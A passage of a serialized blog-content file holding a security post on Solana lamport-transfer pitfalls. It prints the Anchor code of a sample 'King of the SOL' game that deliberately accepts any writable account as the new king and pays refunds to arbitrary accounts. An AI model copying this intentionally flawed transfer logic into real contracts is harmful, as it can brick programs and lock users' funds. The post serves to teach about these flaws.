data.",{"type":24,"tag":10448,"props":77890,"children":77891},{},[77892],{"type":29,"value":10452},{"title":7,"searchDepth":367,"depth":367,"links":77894},[77895,77902,77907,77910],{"id":76258,"depth":367,"text":76261,"children":77896},[77897,77898,77899,77900,77901],{"id":76269,"depth":408,"text":76272},{"id":76296,"depth":408,"text":76299},{"id":76357,"depth":408,"text":76360},{"id":76414,"depth":408,"text":76417},{"id":76513,"depth":408,"text":76516},{"id":76559,"depth":367,"text":76562,"children":77903},[77904,77905,77906],{"id":76565,"depth":408,"text":76568},{"id":76592,"depth":408,"text":76595},{"id":47047,"depth":408,"text":47050},{"id":77041,"depth":367,"text":77044,"children":77908},[77909],{"id":77860,"depth":408,"text":47050},{"id":10412,"depth":367,"text":226},"content:blog:2025-03-07-subverting-web2-authentication-in-web3.md","blog/2025-03-07-subverting-web2-authentication-in-web3.md","blog/2025-03-07-subverting-web2-authentication-in-web3",{"_path":77915,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":77916,"description":77917,"author":47166,"image":77918,"date":77920,"isFeatured":16,"tags":77921,"onBlogPage":16,"body":77922,"_type":10481,"_id":82576,"_source":10483,"_file":82577,"_stem":82578,"_extension":10486},"/blog/2025-05-14-king-of-the-sol","Solana: The hidden dangers of lamport transfers","Solana’s lamport transfer logic hides dangerous edge cases — from rent-exemption quirks to write-demotion traps. We dissect a deceptively simple smart contract game to expose how transfers to arbitrary accounts can silently fail, brick your program, or crown an eternal king.",{"src":77919,"height":14,"width":14},"/posts/king-of-the-sol/king-of-the-sol.png","2025-05-14",[18],{"type":21,"children":77923,"toc":82565},[77924,77928,77933,77947,77953,77958,77988,77993,77998,79036,79041,79049,79054,79060,79066,79078,79111,79123,79136,79148,79593,79598,79644,79650,79655,79742,79747,79761,79774,80437,80442,80454,80460,80471,80483,80637,80651,80670,80691,80697,80702,81047,81052,81058,81077,81091,81713,81718,81738,81743,81748,81754,81766,81787,81962,81968,81973,82274,82295,82307,82319,82403,82423,82435,82441,82453,82459,82464,82487,82499,82505,82517,82522,82528,82533,82538,82556,82561],{"type":24,"tag":228,"props":77925,"children":77926},{"id":35723},[77927],{"type":29,"value":35726},{"type":24,"tag":25,"props":77929,"children":77930},{},[77931],{"type":29,"value":77932},"Is it safe to transfer lamports to an arbitrary address on Solana? The answer might surprise you.",{"type":24,"tag":25,"props":77934,"children":77935},{},[77936,77938,77945],{"type":29,"value":77937},"In this post, we explore a deceptively simple smart contract game inspired by ",{"type":24,"tag":57,"props":77939,"children":77942},{"href":77940,"rel":77941},"https://www.kingoftheether.com/thrones/kingoftheether/index.html",[61],[77943],{"type":29,"value":77944},"King of the Ether",{"type":29,"value":77946},". Through it, we’ll highlight subtle pitfalls in Solana’s account model that can brick your program — especially when it comes to transferring lamports.",{"type":24,"tag":228,"props":77948,"children":77950},{"id":77949},"the-game-king-of-the-sol",[77951],{"type":29,"value":77952},"The Game: King of the SOL",{"type":24,"tag":25,"props":77954,"children":77955},{},[77956],{"type":29,"value":77957},"The game works like this:",{"type":24,"tag":1380,"props":77959,"children":77960},{},[77961,77973,77978,77983],{"type":24,"tag":179,"props":77962,"children":77963},{},[77964,77966,77971],{"type":29,"value":77965},"Anyone can become the ",{"type":24,"tag":188,"props":77967,"children":77968},{},[77969],{"type":29,"value":77970},"king",{"type":29,"value":77972}," by bidding at least 2× the previous bid.",{"type":24,"tag":179,"props":77974,"children":77975},{},[77976],{"type":29,"value":77977},"The old king is reimbursed 95% of their bid.",{"type":24,"tag":179,"props":77979,"children":77980},{},[77981],{"type":29,"value":77982},"The remaining 5% goes into a prize pot.",{"type":24,"tag":179,"props":77984,"children":77985},{},[77986],{"type":29,"value":77987},"If the reigning king survives for 10 days without being dethroned, they can claim the entire pot.",{"type":24,"tag":25,"props":77989,"children":77990},{},[77991],{"type":29,"value":77992},"Simple, right?",{"type":24,"tag":25,"props":77994,"children":77995},{},[77996],{"type":29,"value":77997},"This is the core logic:",{"type":24,"tag":317,"props":77999,"children":78001},{"className":1553,"code":78000,"language":1552,"meta":7,"style":7},"#[derive(Accounts)]\npub struct ChangeKing\u003C'info> {\n    #[account(mut)]\n    pub throne: Account\u003C'info, Throne>,\n\n    /// CHECK: old_king gets a 95% refund, so ensure its writable.\n    #[account(mut, constraint = old_king.key() == throne.king)]\n    pub old_king: AccountInfo\u003C'info>,\n\n    /// CHECK: any writable account is allowed as a new king.\n    #[account(mut)]\n    pub new_king: AccountInfo\u003C'info>,\n\n    #[account(mut)]\n    pub payer: Signer\u003C'info>,\n}\n\n#[program]\npub mod king_of_the_sol {\n    pub fn change_king(ctx: Context\u003CChangeKing>, bid_amount: u64) -> Result\u003C()> {\n        // Check that bid_amount is at least 2x last_bid_amount\n        assert!(bid_amount >= ctx.accounts.throne.last_bid_amount * 2);\n        transfer_from_signer(\n            &ctx.accounts.payer,\n            &ctx.accounts.throne.to_account_info(),\n            bid_amount,\n        )?;\n\n        // Reimburse 95% of the last bid to the old king\n        let to_reimburse = (ctx.accounts.throne.last_bid_amount * 9500) / 10000;\n        transfer_from_pda(\n            &ctx.accounts.throne.to_account_info(),\n            &ctx.accounts.old_king,\n            to_reimburse,\n        )?;\n\n        // Set new king\n        ctx.accounts.throne.king = ctx.accounts.new_king.key();\n        ctx.accounts.throne.last_bid_amount = bid_amount;\n        ctx.accounts.throne.last_time = Clock::get()?.unix_timestamp as u64;\n\n        Ok(())\n    }\n}\n",[78002],{"type":24,"tag":284,"props":78003,"children":78004},{"__ignoreMap":7},[78005,78020,78048,78063,78104,78111,78119,78170,78201,78208,78216,78231,78263,78270,78285,78316,78323,78330,78338,78355,78429,78437,78498,78510,78538,78578,78590,78606,78613,78621,78695,78707,78746,78774,78786,78801,78808,78816,78886,78930,79004,79011,79022,79029],{"type":24,"tag":327,"props":78006,"children":78007},{"class":329,"line":330},[78008,78012,78016],{"type":24,"tag":327,"props":78009,"children":78010},{"style":346},[78011],{"type":29,"value":4249},{"type":24,"tag":327,"props":78013,"children":78014},{"style":1639},[78015],{"type":29,"value":4254},{"type":24,"tag":327,"props":78017,"children":78018},{"style":346},[78019],{"type":29,"value":1609},{"type":24,"tag":327,"props":78021,"children":78022},{"class":329,"line":367},[78023,78027,78031,78036,78040,78044],{"type":24,"tag":327,"props":78024,"children":78025},{"style":334},[78026],{"type":29,"value":2524},{"type":24,"tag":327,"props":78028,"children":78029},{"style":334},[78030],{"type":29,"value":2529},{"type":24,"tag":327,"props":78032,"children":78033},{"style":1639},[78034],{"type":29,"value":78035}," ChangeKing",{"type":24,"tag":327,"props":78037,"children":78038},{"style":346},[78039],{"type":29,"value":4334},{"type":24,"tag":327,"props":78041,"children":78042},{"style":1639},[78043],{"type":29,"value":4339},{"type":24,"tag":327,"props":78045,"children":78046},{"style":346},[78047],{"type":29,"value":4344},{"type":24,"tag":327,"props":78049,"children":78050},{"class":329,"line":408},[78051,78055,78059],{"type":24,"tag":327,"props":78052,"children":78053},{"style":346},[78054],{"type":29,"value":4544},{"type":24,"tag":327,"props":78056,"children":78057},{"style":334},[78058],{"type":29,"value":2099},{"type":24,"tag":327,"props":78060,"children":78061},{"style":346},[78062],{"type":29,"value":1609},{"type":24,"tag":327,"props":78064,"children":78065},{"class":329,"line":421},[78066,78070,78075,78079,78083,78087,78091,78095,78100],{"type":24,"tag":327,"props":78067,"children":78068},{"style":334},[78069],{"type":29,"value":2212},{"type":24,"tag":327,"props":78071,"children":78072},{"style":356},[78073],{"type":29,"value":78074}," throne",{"type":24,"tag":327,"props":78076,"children":78077},{"style":381},[78078],{"type":29,"value":1636},{"type":24,"tag":327,"props":78080,"children":78081},{"style":1639},[78082],{"type":29,"value":4508},{"type":24,"tag":327,"props":78084,"children":78085},{"style":346},[78086],{"type":29,"value":4334},{"type":24,"tag":327,"props":78088,"children":78089},{"style":1639},[78090],{"type":29,"value":4339},{"type":24,"tag":327,"props":78092,"children":78093},{"style":346},[78094],{"type":29,"value":2744},{"type":24,"tag":327,"props":78096,"children":78097},{"style":1639},[78098],{"type":29,"value":78099},"Throne",{"type":24,"tag":327,"props":78101,"children":78102},{"style":346},[78103],{"type":29,"value":4529},{"type":24,"tag":327,"props":78105,"children":78106},{"class":329,"line":450},[78107],{"type":24,"tag":327,"props":78108,"children":78109},{"emptyLinePlaceholder":16},[78110],{"type":29,"value":544},{"type":24,"tag":327,"props":78112,"children":78113},{"class":329,"line":481},[78114],{"type":24,"tag":327,"props":78115,"children":78116},{"style":551},[78117],{"type":29,"value":78118},"    /// CHECK: old_king gets a 95% refund, so ensure its writable.\n",{"type":24,"tag":327,"props":78120,"children":78121},{"class":329,"line":500},[78122,78126,78130,78135,78139,78144,78148,78153,78157,78161,78165],{"type":24,"tag":327,"props":78123,"children":78124},{"style":346},[78125],{"type":29,"value":4544},{"type":24,"tag":327,"props":78127,"children":78128},{"style":334},[78129],{"type":29,"value":2099},{"type":24,"tag":327,"props":78131,"children":78132},{"style":346},[78133],{"type":29,"value":78134},", constraint ",{"type":24,"tag":327,"props":78136,"children":78137},{"style":381},[78138],{"type":29,"value":384},{"type":24,"tag":327,"props":78140,"children":78141},{"style":346},[78142],{"type":29,"value":78143}," old_king",{"type":24,"tag":327,"props":78145,"children":78146},{"style":381},[78147],{"type":29,"value":66},{"type":24,"tag":327,"props":78149,"children":78150},{"style":346},[78151],{"type":29,"value":78152},"key() ",{"type":24,"tag":327,"props":78154,"children":78155},{"style":381},[78156],{"type":29,"value":642},{"type":24,"tag":327,"props":78158,"children":78159},{"style":346},[78160],{"type":29,"value":78074},{"type":24,"tag":327,"props":78162,"children":78163},{"style":381},[78164],{"type":29,"value":66},{"type":24,"tag":327,"props":78166,"children":78167},{"style":346},[78168],{"type":29,"value":78169},"king)]\n",{"type":24,"tag":327,"props":78171,"children":78172},{"class":329,"line":529},[78173,78177,78181,78185,78189,78193,78197],{"type":24,"tag":327,"props":78174,"children":78175},{"style":334},[78176],{"type":29,"value":2212},{"type":24,"tag":327,"props":78178,"children":78179},{"style":356},[78180],{"type":29,"value":78143},{"type":24,"tag":327,"props":78182,"children":78183},{"style":381},[78184],{"type":29,"value":1636},{"type":24,"tag":327,"props":78186,"children":78187},{"style":1639},[78188],{"type":29,"value":6855},{"type":24,"tag":327,"props":78190,"children":78191},{"style":346},[78192],{"type":29,"value":4334},{"type":24,"tag":327,"props":78194,"children":78195},{"style":1639},[78196],{"type":29,"value":4339},{"type":24,"tag":327,"props":78198,"children":78199},{"style":346},[78200],{"type":29,"value":4529},{"type":24,"tag":327,"props":78202,"children":78203},{"class":329,"line":538},[78204],{"type":24,"tag":327,"props":78205,"children":78206},{"emptyLinePlaceholder":16},[78207],{"type":29,"value":544},{"type":24,"tag":327,"props":78209,"children":78210},{"class":329,"line":547},[78211],{"type":24,"tag":327,"props":78212,"children":78213},{"style":551},[78214],{"type":29,"value":78215},"    /// CHECK: any writable account is allowed as a new king.\n",{"type":24,"tag":327,"props":78217,"children":78218},{"class":329,"line":557},[78219,78223,78227],{"type":24,"tag":327,"props":78220,"children":78221},{"style":346},[78222],{"type":29,"value":4544},{"type":24,"tag":327,"props":78224,"children":78225},{"style":334},[78226],{"type":29,"value":2099},{"type":24,"tag":327,"props":78228,"children":78229},{"style":346},[78230],{"type":29,"value":1609},{"type":24,"tag":327,"props":78232,"children":78233},{"class":329,"line":586},[78234,78238,78243,78247,78251,78255,78259],{"type":24,"tag":327,"props":78235,"children":78236},{"style":334},[78237],{"type":29,"value":2212},{"type":24,"tag":327,"props":78239,"children":78240},{"style":356},[78241],{"type":29,"value":78242}," new_king",{"type":24,"tag":327,"props":78244,"children":78245},{"style":381},[78246],{"type":29,"value":1636},{"type":24,"tag":327,"props":78248,"children":78249},{"style":1639},[78250],{"type":29,"value":6855},{"type":24,"tag":327,"props":78252,"children":78253},{"style":346},[78254],{"type":29,"value":4334},{"type":24,"tag":327,"props":78256,"children":78257},{"style":1639},[78258],{"type":29,"value":4339},{"type":24,"tag":327,"props":78260,"children":78261},{"style":346},[78262],{"type":29,"value":4529},{"type":24,"tag":327,"props":78264,"children":78265},{"class":329,"line":1017},[78266],{"type":24,"tag":327,"props":78267,"children":78268},{"emptyLinePlaceholder":16},[78269],{"type":29,"value":544},{"type":24,"tag":327,"props":78271,"children":78272},{"class":329,"line":1026},[78273,78277,78281],{"type":24,"tag":327,"props":78274,"children":78275},{"style":346},[78276],{"type":29,"value":4544},{"type":24,"tag":327,"props":78278,"children":78279},{"style":334},[78280],{"type":29,"value":2099},{"type":24,"tag":327,"props":78282,"children":78283},{"style":346},[78284],{"type":29,"value":1609},{"type":24,"tag":327,"props":78286,"children":78287},{"class":329,"line":1048},[78288,78292,78296,78300,78304,78308,78312],{"type":24,"tag":327,"props":78289,"children":78290},{"style":334},[78291],{"type":29,"value":2212},{"type":24,"tag":327,"props":78293,"children":78294},{"style":356},[78295],{"type":29,"value":48956},{"type":24,"tag":327,"props":78297,"children":78298},{"style":381},[78299],{"type":29,"value":1636},{"type":24,"tag":327,"props":78301,"children":78302},{"style":1639},[78303],{"type":29,"value":4573},{"type":24,"tag":327,"props":78305,"children":78306},{"style":346},[78307],{"type":29,"value":4334},{"type":24,"tag":327,"props":78309,"children":78310},{"style":1639},[78311],{"type":29,"value":4339},{"type":24,"tag":327,"props":78313,"children":78314},{"style":346},[78315],{"type":29,"value":4529},{"type":24,"tag":327,"props":78317,"children":78318},{"class":329,"line":1067},[78319],{"type":24,"tag":327,"props":78320,"children":78321},{"style":346},[78322],{"type":29,"value":592},{"type":24,"tag":327,"props":78324,"children":78325},{"class":329,"line":1075},[78326],{"type":24,"tag":327,"props":78327,"children":78328},{"emptyLinePlaceholder":16},[78329],{"type":29,"value":544},{"type":24,"tag":327,"props":78331,"children":78332},{"class":329,"line":1084},[78333],{"type":24,"tag":327,"props":78334,"children":78335},{"style":346},[78336],{"type":29,"value":78337},"#[program]\n",{"type":24,"tag":327,"props":78339,"children":78340},{"class":329,"line":1100},[78341,78345,78350],{"type":24,"tag":327,"props":78342,"children":78343},{"style":334},[78344],{"type":29,"value":2524},{"type":24,"tag":327,"props":78346,"children":78347},{"style":334},[78348],{"type":29,"value":78349}," mod",{"type":24,"tag":327,"props":78351,"children":78352},{"style":346},[78353],{"type":29,"value":78354}," king_of_the_sol {\n",{"type":24,"tag":327,"props":78356,"children":78357},{"class":329,"line":1128},[78358,78362,78366,78371,78375,78379,78383,78387,78391,78396,78400,78405,78409,78413,78417,78421,78425],{"type":24,"tag":327,"props":78359,"children":78360},{"style":334},[78361],{"type":29,"value":2212},{"type":24,"tag":327,"props":78363,"children":78364},{"style":334},[78365],{"type":29,"value":4653},{"type":24,"tag":327,"props":78367,"children":78368},{"style":340},[78369],{"type":29,"value":78370}," change_king",{"type":24,"tag":327,"props":78372,"children":78373},{"style":346},[78374],{"type":29,"value":349},{"type":24,"tag":327,"props":78376,"children":78377},{"style":356},[78378],{"type":29,"value":1631},{"type":24,"tag":327,"props":78380,"children":78381},{"style":381},[78382],{"type":29,"value":1636},{"type":24,"tag":327,"props":78384,"children":78385},{"style":1639},[78386],{"type":29,"value":1642},{"type":24,"tag":327,"props":78388,"children":78389},{"style":346},[78390],{"type":29,"value":1596},{"type":24,"tag":327,"props":78392,"children":78393},{"style":1639},[78394],{"type":29,"value":78395},"ChangeKing",{"type":24,"tag":327,"props":78397,"children":78398},{"style":346},[78399],{"type":29,"value":1655},{"type":24,"tag":327,"props":78401,"children":78402},{"style":356},[78403],{"type":29,"value":78404},"bid_amount",{"type":24,"tag":327,"props":78406,"children":78407},{"style":381},[78408],{"type":29,"value":1636},{"type":24,"tag":327,"props":78410,"children":78411},{"style":1639},[78412],{"type":29,"value":1669},{"type":24,"tag":327,"props":78414,"children":78415},{"style":346},[78416],{"type":29,"value":1674},{"type":24,"tag":327,"props":78418,"children":78419},{"style":381},[78420],{"type":29,"value":1679},{"type":24,"tag":327,"props":78422,"children":78423},{"style":1639},[78424],{"type":29,"value":1684},{"type":24,"tag":327,"props":78426,"children":78427},{"style":346},[78428],{"type":29,"value":1689},{"type":24,"tag":327,"props":78430,"children":78431},{"class":329,"line":1148},[78432],{"type":24,"tag":327,"props":78433,"children":78434},{"style":551},[78435],{"type":29,"value":78436},"        // Check that bid_amount is at least 2x last_bid_amount\n",{"type":24,"tag":327,"props":78438,"children":78439},{"class":329,"line":1176},[78440,78444,78448,78452,78456,78460,78464,78468,78472,78477,78481,78486,78490,78494],{"type":24,"tag":327,"props":78441,"children":78442},{"style":340},[78443],{"type":29,"value":71171},{"type":24,"tag":327,"props":78445,"children":78446},{"style":346},[78447],{"type":29,"value":349},{"type":24,"tag":327,"props":78449,"children":78450},{"style":356},[78451],{"type":29,"value":78404},{"type":24,"tag":327,"props":78453,"children":78454},{"style":381},[78455],{"type":29,"value":15862},{"type":24,"tag":327,"props":78457,"children":78458},{"style":356},[78459],{"type":29,"value":7301},{"type":24,"tag":327,"props":78461,"children":78462},{"style":381},[78463],{"type":29,"value":66},{"type":24,"tag":327,"props":78465,"children":78466},{"style":346},[78467],{"type":29,"value":5239},{"type":24,"tag":327,"props":78469,"children":78470},{"style":381},[78471],{"type":29,"value":66},{"type":24,"tag":327,"props":78473,"children":78474},{"style":346},[78475],{"type":29,"value":78476},"throne",{"type":24,"tag":327,"props":78478,"children":78479},{"style":381},[78480],{"type":29,"value":66},{"type":24,"tag":327,"props":78482,"children":78483},{"style":346},[78484],{"type":29,"value":78485},"last_bid_amount ",{"type":24,"tag":327,"props":78487,"children":78488},{"style":381},[78489],{"type":29,"value":469},{"type":24,"tag":327,"props":78491,"children":78492},{"style":397},[78493],{"type":29,"value":474},{"type":24,"tag":327,"props":78495,"children":78496},{"style":346},[78497],{"type":29,"value":583},{"type":24,"tag":327,"props":78499,"children":78500},{"class":329,"line":1184},[78501,78506],{"type":24,"tag":327,"props":78502,"children":78503},{"style":340},[78504],{"type":29,"value":78505},"        transfer_from_signer",{"type":24,"tag":327,"props":78507,"children":78508},{"style":346},[78509],{"type":29,"value":4663},{"type":24,"tag":327,"props":78511,"children":78512},{"class":329,"line":1192},[78513,78517,78521,78525,78529,78533],{"type":24,"tag":327,"props":78514,"children":78515},{"style":381},[78516],{"type":29,"value":15247},{"type":24,"tag":327,"props":78518,"children":78519},{"style":356},[78520],{"type":29,"value":1631},{"type":24,"tag":327,"props":78522,"children":78523},{"style":381},[78524],{"type":29,"value":66},{"type":24,"tag":327,"props":78526,"children":78527},{"style":346},[78528],{"type":29,"value":5239},{"type":24,"tag":327,"props":78530,"children":78531},{"style":381},[78532],{"type":29,"value":66},{"type":24,"tag":327,"props":78534,"children":78535},{"style":346},[78536],{"type":29,"value":78537},"payer,\n",{"type":24,"tag":327,"props":78539,"children":78540},{"class":329,"line":1212},[78541,78545,78549,78553,78557,78561,78565,78569,78574],{"type":24,"tag":327,"props":78542,"children":78543},{"style":381},[78544],{"type":29,"value":15247},{"type":24,"tag":327,"props":78546,"children":78547},{"style":356},[78548],{"type":29,"value":1631},{"type":24,"tag":327,"props":78550,"children":78551},{"style":381},[78552],{"type":29,"value":66},{"type":24,"tag":327,"props":78554,"children":78555},{"style":346},[78556],{"type":29,"value":5239},{"type":24,"tag":327,"props":78558,"children":78559},{"style":381},[78560],{"type":29,"value":66},{"type":24,"tag":327,"props":78562,"children":78563},{"style":346},[78564],{"type":29,"value":78476},{"type":24,"tag":327,"props":78566,"children":78567},{"style":381},[78568],{"type":29,"value":66},{"type":24,"tag":327,"props":78570,"children":78571},{"style":340},[78572],{"type":29,"value":78573},"to_account_info",{"type":24,"tag":327,"props":78575,"children":78576},{"style":346},[78577],{"type":29,"value":5357},{"type":24,"tag":327,"props":78579,"children":78580},{"class":329,"line":4841},[78581,78586],{"type":24,"tag":327,"props":78582,"children":78583},{"style":356},[78584],{"type":29,"value":78585},"            bid_amount",{"type":24,"tag":327,"props":78587,"children":78588},{"style":346},[78589],{"type":29,"value":2231},{"type":24,"tag":327,"props":78591,"children":78592},{"class":329,"line":4862},[78593,78598,78602],{"type":24,"tag":327,"props":78594,"children":78595},{"style":346},[78596],{"type":29,"value":78597},"        )",{"type":24,"tag":327,"props":78599,"children":78600},{"style":381},[78601],{"type":29,"value":7437},{"type":24,"tag":327,"props":78603,"children":78604},{"style":346},[78605],{"type":29,"value":405},{"type":24,"tag":327,"props":78607,"children":78608},{"class":329,"line":4870},[78609],{"type":24,"tag":327,"props":78610,"children":78611},{"emptyLinePlaceholder":16},[78612],{"type":29,"value":544},{"type":24,"tag":327,"props":78614,"children":78615},{"class":329,"line":4879},[78616],{"type":24,"tag":327,"props":78617,"children":78618},{"style":551},[78619],{"type":29,"value":78620},"        // Reimburse 95% of the last bid to the old king\n",{"type":24,"tag":327,"props":78622,"children":78623},{"class":329,"line":4913},[78624,78628,78633,78637,78641,78645,78649,78653,78657,78661,78665,78669,78673,78678,78682,78686,78691],{"type":24,"tag":327,"props":78625,"children":78626},{"style":334},[78627],{"type":29,"value":7558},{"type":24,"tag":327,"props":78629,"children":78630},{"style":356},[78631],{"type":29,"value":78632}," to_reimburse",{"type":24,"tag":327,"props":78634,"children":78635},{"style":381},[78636],{"type":29,"value":4809},{"type":24,"tag":327,"props":78638,"children":78639},{"style":346},[78640],{"type":29,"value":5894},{"type":24,"tag":327,"props":78642,"children":78643},{"style":356},[78644],{"type":29,"value":1631},{"type":24,"tag":327,"props":78646,"children":78647},{"style":381},[78648],{"type":29,"value":66},{"type":24,"tag":327,"props":78650,"children":78651},{"style":346},[78652],{"type":29,"value":5239},{"type":24,"tag":327,"props":78654,"children":78655},{"style":381},[78656],{"type":29,"value":66},{"type":24,"tag":327,"props":78658,"children":78659},{"style":346},[78660],{"type":29,"value":78476},{"type":24,"tag":327,"props":78662,"children":78663},{"style":381},[78664],{"type":29,"value":66},{"type":24,"tag":327,"props":78666,"children":78667},{"style":346},[78668],{"type":29,"value":78485},{"type":24,"tag":327,"props":78670,"children":78671},{"style":381},[78672],{"type":29,"value":469},{"type":24,"tag":327,"props":78674,"children":78675},{"style":397},[78676],{"type":29,"value":78677}," 9500",{"type":24,"tag":327,"props":78679,"children":78680},{"style":346},[78681],{"type":29,"value":1674},{"type":24,"tag":327,"props":78683,"children":78684},{"style":381},[78685],{"type":29,"value":2899},{"type":24,"tag":327,"props":78687,"children":78688},{"style":397},[78689],{"type":29,"value":78690}," 10000",{"type":24,"tag":327,"props":78692,"children":78693},{"style":346},[78694],{"type":29,"value":405},{"type":24,"tag":327,"props":78696,"children":78697},{"class":329,"line":4938},[78698,78703],{"type":24,"tag":327,"props":78699,"children":78700},{"style":340},[78701],{"type":29,"value":78702},"        transfer_from_pda",{"type":24,"tag":327,"props":78704,"children":78705},{"style":346},[78706],{"type":29,"value":4663},{"type":24,"tag":327,"props":78708,"children":78709},{"class":329,"line":4974},[78710,78714,78718,78722,78726,78730,78734,78738,78742],{"type":24,"tag":327,"props":78711,"children":78712},{"style":381},[78713],{"type":29,"value":15247},{"type":24,"tag":327,"props":78715,"children":78716},{"style":356},[78717],{"type":29,"value":1631},{"type":24,"tag":327,"props":78719,"children":78720},{"style":381},[78721],{"type":29,"value":66},{"type":24,"tag":327,"props":78723,"children":78724},{"style":346},[78725],{"type":29,"value":5239},{"type":24,"tag":327,"props":78727,"children":78728},{"style":381},[78729],{"type":29,"value":66},{"type":24,"tag":327,"props":78731,"children":78732},{"style":346},[78733],{"type":29,"value":78476},{"type":24,"tag":327,"props":78735,"children":78736},{"style":381},[78737],{"type":29,"value":66},{"type":24,"tag":327,"props":78739,"children":78740},{"style":340},[78741],{"type":29,"value":78573},{"type":24,"tag":327,"props":78743,"children":78744},{"style":346},[78745],{"type":29,"value":5357},{"type":24,"tag":327,"props":78747,"children":78748},{"class":329,"line":4982},[78749,78753,78757,78761,78765,78769],{"type":24,"tag":327,"props":78750,"children":78751},{"style":381},[78752],{"type":29,"value":15247},{"type":24,"tag":327,"props":78754,"children":78755},{"style":356},[78756],{"type":29,"value":1631},{"type":24,"tag":327,"props":78758,"children":78759},{"style":381},[78760],{"type":29,"value":66},{"type":24,"tag":327,"props":78762,"children":78763},{"style":346},[78764],{"type":29,"value":5239},{"type":24,"tag":327,"props":78766,"children":78767},{"style":381},[78768],{"type":29,"value":66},{"type":24,"tag":327,"props":78770,"children":78771},{"style":346},[78772],{"type":29,"value":78773},"old_king,\n",{"type":24,"tag":327,"props":78775,"children":78776},{"class":329,"line":4990},[78777,78782],{"type":24,"tag":327,"props":78778,"children":78779},{"style":356},[78780],{"type":29,"value":78781},"            to_reimburse",{"type":24,"tag":327,"props":78783,"children":78784},{"style":346},[78785],{"type":29,"value":2231},{"type":24,"tag":327,"props":78787,"children":78788},{"class":329,"line":4999},[78789,78793,78797],{"type":24,"tag":327,"props":78790,"children":78791},{"style":346},[78792],{"type":29,"value":78597},{"type":24,"tag":327,"props":78794,"children":78795},{"style":381},[78796],{"type":29,"value":7437},{"type":24,"tag":327,"props":78798,"children":78799},{"style":346},[78800],{"type":29,"value":405},{"type":24,"tag":327,"props":78802,"children":78803},{"class":329,"line":5042},[78804],{"type":24,"tag":327,"props":78805,"children":78806},{"emptyLinePlaceholder":16},[78807],{"type":29,"value":544},{"type":24,"tag":327,"props":78809,"children":78810},{"class":329,"line":5075},[78811],{"type":24,"tag":327,"props":78812,"children":78813},{"style":551},[78814],{"type":29,"value":78815},"        // Set new king\n",{"type":24,"tag":327,"props":78817,"children":78818},{"class":329,"line":5083},[78819,78823,78827,78831,78835,78839,78843,78848,78852,78856,78860,78864,78868,78873,78877,78882],{"type":24,"tag":327,"props":78820,"children":78821},{"style":356},[78822],{"type":29,"value":7649},{"type":24,"tag":327,"props":78824,"children":78825},{"style":381},[78826],{"type":29,"value":66},{"type":24,"tag":327,"props":78828,"children":78829},{"style":346},[78830],{"type":29,"value":5239},{"type":24,"tag":327,"props":78832,"children":78833},{"style":381},[78834],{"type":29,"value":66},{"type":24,"tag":327,"props":78836,"children":78837},{"style":346},[78838],{"type":29,"value":78476},{"type":24,"tag":327,"props":78840,"children":78841},{"style":381},[78842],{"type":29,"value":66},{"type":24,"tag":327,"props":78844,"children":78845},{"style":346},[78846],{"type":29,"value":78847},"king ",{"type":24,"tag":327,"props":78849,"children":78850},{"style":381},[78851],{"type":29,"value":384},{"type":24,"tag":327,"props":78853,"children":78854},{"style":356},[78855],{"type":29,"value":7301},{"type":24,"tag":327,"props":78857,"children":78858},{"style":381},[78859],{"type":29,"value":66},{"type":24,"tag":327,"props":78861,"children":78862},{"style":346},[78863],{"type":29,"value":5239},{"type":24,"tag":327,"props":78865,"children":78866},{"style":381},[78867],{"type":29,"value":66},{"type":24,"tag":327,"props":78869,"children":78870},{"style":346},[78871],{"type":29,"value":78872},"new_king",{"type":24,"tag":327,"props":78874,"children":78875},{"style":381},[78876],{"type":29,"value":66},{"type":24,"tag":327,"props":78878,"children":78879},{"style":340},[78880],{"type":29,"value":78881},"key",{"type":24,"tag":327,"props":78883,"children":78884},{"style":346},[78885],{"type":29,"value":4838},{"type":24,"tag":327,"props":78887,"children":78888},{"class":329,"line":5091},[78889,78893,78897,78901,78905,78909,78913,78917,78921,78926],{"type":24,"tag":327,"props":78890,"children":78891},{"style":356},[78892],{"type":29,"value":7649},{"type":24,"tag":327,"props":78894,"children":78895},{"style":381},[78896],{"type":29,"value":66},{"type":24,"tag":327,"props":78898,"children":78899},{"style":346},[78900],{"type":29,"value":5239},{"type":24,"tag":327,"props":78902,"children":78903},{"style":381},[78904],{"type":29,"value":66},{"type":24,"tag":327,"props":78906,"children":78907},{"style":346},[78908],{"type":29,"value":78476},{"type":24,"tag":327,"props":78910,"children":78911},{"style":381},[78912],{"type":29,"value":66},{"type":24,"tag":327,"props":78914,"children":78915},{"style":346},[78916],{"type":29,"value":78485},{"type":24,"tag":327,"props":78918,"children":78919},{"style":381},[78920],{"type":29,"value":384},{"type":24,"tag":327,"props":78922,"children":78923},{"style":356},[78924],{"type":29,"value":78925}," bid_amount",{"type":24,"tag":327,"props":78927,"children":78928},{"style":346},[78929],{"type":29,"value":405},{"type":24,"tag":327,"props":78931,"children":78932},{"class":329,"line":5100},[78933,78937,78941,78945,78949,78953,78957,78962,78966,78971,78975,78979,78983,78987,78992,78996,79000],{"type":24,"tag":327,"props":78934,"children":78935},{"style":356},[78936],{"type":29,"value":7649},{"type":24,"tag":327,"props":78938,"children":78939},{"style":381},[78940],{"type":29,"value":66},{"type":24,"tag":327,"props":78942,"children":78943},{"style":346},[78944],{"type":29,"value":5239},{"type":24,"tag":327,"props":78946,"children":78947},{"style":381},[78948],{"type":29,"value":66},{"type":24,"tag":327,"props":78950,"children":78951},{"style":346},[78952],{"type":29,"value":78476},{"type":24,"tag":327,"props":78954,"children":78955},{"style":381},[78956],{"type":29,"value":66},{"type":24,"tag":327,"props":78958,"children":78959},{"style":346},[78960],{"type":29,"value":78961},"last_time ",{"type":24,"tag":327,"props":78963,"children":78964},{"style":381},[78965],{"type":29,"value":384},{"type":24,"tag":327,"props":78967,"children":78968},{"style":1639},[78969],{"type":29,"value":78970}," Clock",{"type":24,"tag":327,"props":78972,"children":78973},{"style":381},[78974],{"type":29,"value":2407},{"type":24,"tag":327,"props":78976,"children":78977},{"style":340},[78978],{"type":29,"value":5330},{"type":24,"tag":327,"props":78980,"children":78981},{"style":346},[78982],{"type":29,"value":7616},{"type":24,"tag":327,"props":78984,"children":78985},{"style":381},[78986],{"type":29,"value":10740},{"type":24,"tag":327,"props":78988,"children":78989},{"style":346},[78990],{"type":29,"value":78991},"unix_timestamp 